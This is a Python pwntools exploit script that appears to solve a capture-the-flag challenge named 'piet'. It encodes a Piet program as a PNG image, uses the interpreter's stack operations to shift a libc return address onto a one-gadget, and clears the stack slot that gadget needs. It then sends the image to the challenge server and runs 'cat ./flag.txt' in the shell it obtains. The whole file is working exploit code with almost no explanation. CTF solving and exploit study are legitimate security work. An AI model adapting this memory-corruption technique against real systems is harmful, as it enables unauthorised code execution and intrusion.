#!/usr/bin/env python
from elftools.elf.structs import k
from pwn import *
import png

HOST = "piet.instances.ctf.l3ak.team"
PORT = 1337
context.aslr = False

exe = context.binary = ELF("./piet_patched", checksec=False)
libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
context.terminal = ["kitten", "@", "launch", "--location=before", "--cwd=current", "--bias=65"]
context.log_level = "info"
context.encoding = "ascii"


def start(argv=[], *a, **kw):
    if args.ASLR:
        context.aslr = True

    if args.GDB or args.DBG:
        return gdb.debug([exe.path], gdbinit, env={}, *a, **kw)
    elif args.REMOTE:
        return remote(os.environ.get("HOST", HOST), int(os.environ.get("PORT", PORT)), ssl=True)
    elif args.DOCKER:
        return remote("localhost", 1337)
    return process([exe.path], *a, **kw)


# template end

# maps operation to hue_step, light_step pair
def op_nop() -> tuple[int, int]:
    # never use this, since it doesn't work
    raise AssertionError
    return (0, 0)

def op_push(val: int) -> tuple[int, int]:
    # little hack we will use to make the code easier
    assert val <= COLS - 1
    return (0, (val << 24) | 1)

def op_pop() -> tuple[int, int]:
    return (0, 2)

def op_add() -> tuple[int, int]:
    return (1, 0)

def op_sub() -> tuple[int, int]:
    return (1, 1)

def op_mul() -> tuple[int, int]:
    return (1, 2)

def op_div() -> tuple[int, int]:
    return (2, 0)

def op_mod() -> tuple[int, int]:
    return (2, 1)

def op_not() -> tuple[int, int]:
    return (2, 2)

def op_gt() -> tuple[int, int]:
    return (3, 0)

def op_ptr() -> tuple[int, int]:
    return (3, 1)

def op_switch() -> tuple[int, int]:
    return (3, 2)

def op_dup() -> tuple[int, int]:
    return (4, 0)

def op_roll() -> tuple[int, int]:
    return (4, 1)

def op_up() -> tuple[int, int]:
    return (4, 2)

def op_in_c() -> tuple[int, int]:
    return (5, 0)

def op_nuh_uh() -> tuple[int, int]:
    return (5, 1)

def op_down() -> tuple[int, int]:
    return (5, 2)
# maps operation to hue_step, light_step pair

def hue_to_hex(hue: tuple[int, int]) -> int:
    COLORS: dict[tuple[int, int], int] = {
    # maps (hue, lightness) to color
        (0, 0): 0xC00000,
        (1, 0): 0xC0C000,
        (2, 0): 0x00C000,
        (3, 0): 0x00C0C0,
        (4, 0): 0x0000C0,
        (5, 0): 0xC000C0,
        (0, 1): 0xFF0000,
        (1, 1): 0xFFFF00,
        (2, 1): 0x00FF00,
        (3, 1): 0x00FFFF,
        (4, 1): 0x0000FF,
        (5, 1): 0xFF00FF,
        (0, 2): 0xFFC0C0,
        (1, 2): 0xFFFFC0,
        (2, 2): 0xC0FFC0,
        (3, 2): 0xC0FFFF,
        (4, 2): 0xC0C0FF,
        (5, 2): 0xFFC0FF
    }
    x,y = hue
    # for op_push()
    return COLORS[(x, y & 0xff)]
    

def hex_to_rgb(hexv: int) -> tuple[int, int, int]:
    return ((hexv >> 16) & 0xff, (hexv >> 8) & 0xff, hexv & 0xff)

def assemble(assembly: list[tuple[int, int]]) -> list[tuple[int, int, int, int]]:
    """
    Returns a list[r, g, b, how_much] which needs to be layed out.
    """
    # fix the first color as (0, 1) arbitrarily
    hl_output = [(0, 1)]

    if assembly[0][0] == 0 and assembly[0][1] & 0xff == 1:
        raise AssertionError("you're not allowed to set the first instr as push")

    if assembly[-1][0] == 0 and assembly[-1][1] & 0xff == 1:
        raise AssertionError("you're not allowed to set the last instr as push")
    
    for instr in assembly:
        # step = new - old
        # => new = step + old
        hl_new_h = hl_output[-1][0] + (instr[0] & 0xff)
        hl_new_l = hl_output[-1][1] + (instr[1] & 0xff)
        hl_new_h %= 6
        hl_new_l %= 3
        hl_output.append((hl_new_h, hl_new_l))
        assert hl_output[-1] != hl_output[-2]

    hex_out = [hue_to_hex(x) for x in hl_output]
    rgb_out = [hex_to_rgb(x) for x in hex_out]

    # first can't be push, size not looked at
    final = [rgb_out[0] + (-1,)]

    for i in range(len(assembly)):
        instr_h, instr_l = assembly[i]
        # check if push (0, 1)
        if instr_h & 0xff == 0 and instr_l & 0xff == 1:
            value = instr_l >> 24            
        else:
            value = 1

        # push on instr of some row means the prev row needs to be big
        final.append(rgb_out[i] + (value,))

    # value ignored
    final.append(rgb_out[-1] + (1,))

    return final

# NOTE: only op_push() needs a size (landfill blabla)
BLACK_RGB = (0, 0, 0)
WHITE_RGB = (255, 255, 255)

def layout(linear: list[tuple[int, int, int, int]]) -> list[list[tuple[int, int, int]]]:
    # filled with black first
    matrix: list[list[tuple[int, int, int]]] = [[BLACK_RGB for _ in range(COLS)] for _ in range(ROWS)]

    assert len(linear) <= ROWS - 1
    
    # entrance
    matrix[0][0] = linear[0][0:3]
    matrix[0][1] = linear[0][0:3]
    matrix[1][1] = linear[0][0:3]

    for i in range(len(linear) - 1):
        # for op_push()
        for j in range(linear[i][3]):
            # print(f"setting {i + 1}, {j + 1} to something")
            matrix[i + 1][j + 1] = linear[i][0:3]

    # exit
    last = len(linear) - 1
    matrix[last + 1][0] = linear[last][0:3]
    matrix[last + 1][1] = linear[last][0:3]
    matrix[last + 1][2] = linear[last][0:3]

    return matrix

def save_png(rows_1: list[list[tuple[int, int, int]]]) -> None:
    rows_2 = []
    for row in rows_1:
        new_row = []
        for el in row:
            new_row.append(el[0])
            new_row.append(el[1])
            new_row.append(el[2])
        rows_2.append(new_row)

    image = png.from_array(rows_2, "RGB")
    image.save("attack.png")

def submit() -> None:
    with open("attack.png", "rb") as f:
        png_data = f.read()

    p.send(png_data)

def dump_linear(linear: list[tuple[int, int, int, int]]) -> None:
    print("=== linear ===")
    for x in linear:
        print(x)
    print("=== ====== ===")

def sub_offset(factors: list[int]) -> list[tuple[int, int]]: 
    """
    You need to have RSP point to at the bottom 32-bits of the NEXT qword.
    Clobbers the next qword.

    Ends up in the same position.
    """
    assert len(factors) >= 2
    ret =  [
    op_dup(),
    op_dup(),
    op_down(),
    op_down(),
    op_down(),
    op_push(1),
    op_push(1),
    op_mod(),
    op_dup(),
    # setup the multiplication to build up the number
    op_down(),
    op_push(factors[0]),
    op_down(),
    op_down(),
    op_push(factors[1]),
    op_up(),
    op_mul(),
    ]
    for fact in factors[2:]:
        ret.extend([op_push(fact), op_mul()])
    ret.extend([
        # finalize the offset
        op_sub(),
        # put back the top 32 bits
        op_up(),
        op_dup(),
        op_mod(),
        op_dup(),
        op_up(),
        op_add(),
        op_add(),
    ])
    return ret

def add_offset(factors: list[int]) -> list[tuple[int, int]]: 
    """
    Add number described by `factors` to qword at the top of the VM stack.
    
    You need to have RSP point to at the bottom 32-bits of the NEXT qword.
    Clobbers the next qword.

    Ends up in the same position.
    """
    assert len(factors) >= 2
    ret =  [
    op_dup(),
    op_dup(),
    op_down(),
    op_down(),
    op_down(),
    op_push(1),
    op_push(1),
    op_mod(),
    op_dup(),
    # setup the multiplication to build up the number
    op_down(),
    op_push(factors[0]),
    op_down(),
    op_down(),
    op_push(factors[1]),
    op_up(),
    op_mul(),
    ]
    for fact in factors[2:]:
        ret.extend([op_push(fact), op_mul()])
    ret.extend([
        # finalize the offset
        op_add(),
        # put back the top 32 bits
        op_up(),
        op_dup(),
        op_mod(),
        op_dup(),
        op_up(),
        op_add(),
        op_add(),
    ])
    return ret



gdbinit = """
# b 358
# b 446
# continue
""".format(**locals())

ROWS = 400
COLS = 400

p = start()


# to satisfy the 0x11d7aa one-gadget, we need extra setup: [rsp+0x48] == NULL
# to go from libc retaddr to one-gadget need offset 0xf31b1 = 17 + 995744
# where 995744 = 2^5 * 29^2 * 37

linear = assemble(
    # first instruction can't be a push
    [op_up()] * (256 + 18) + [
    op_down(),
    op_down(),
    ] + add_offset([17, 1]) +
        add_offset([2, 2, 2, 2, 2, 29, 29, 37]) +
    # zero out what we need to for the og
    # 0x48 from lr
    [op_up()] * 19 + [
        op_dup(),
        op_mod(),
        op_dup(),
    ]
)
dump_linear(linear)

image_rgb = layout(linear)

save_png(image_rgb)

submit()

p.sendline(b"cat ./flag.txt")

p.interactive()
p.close()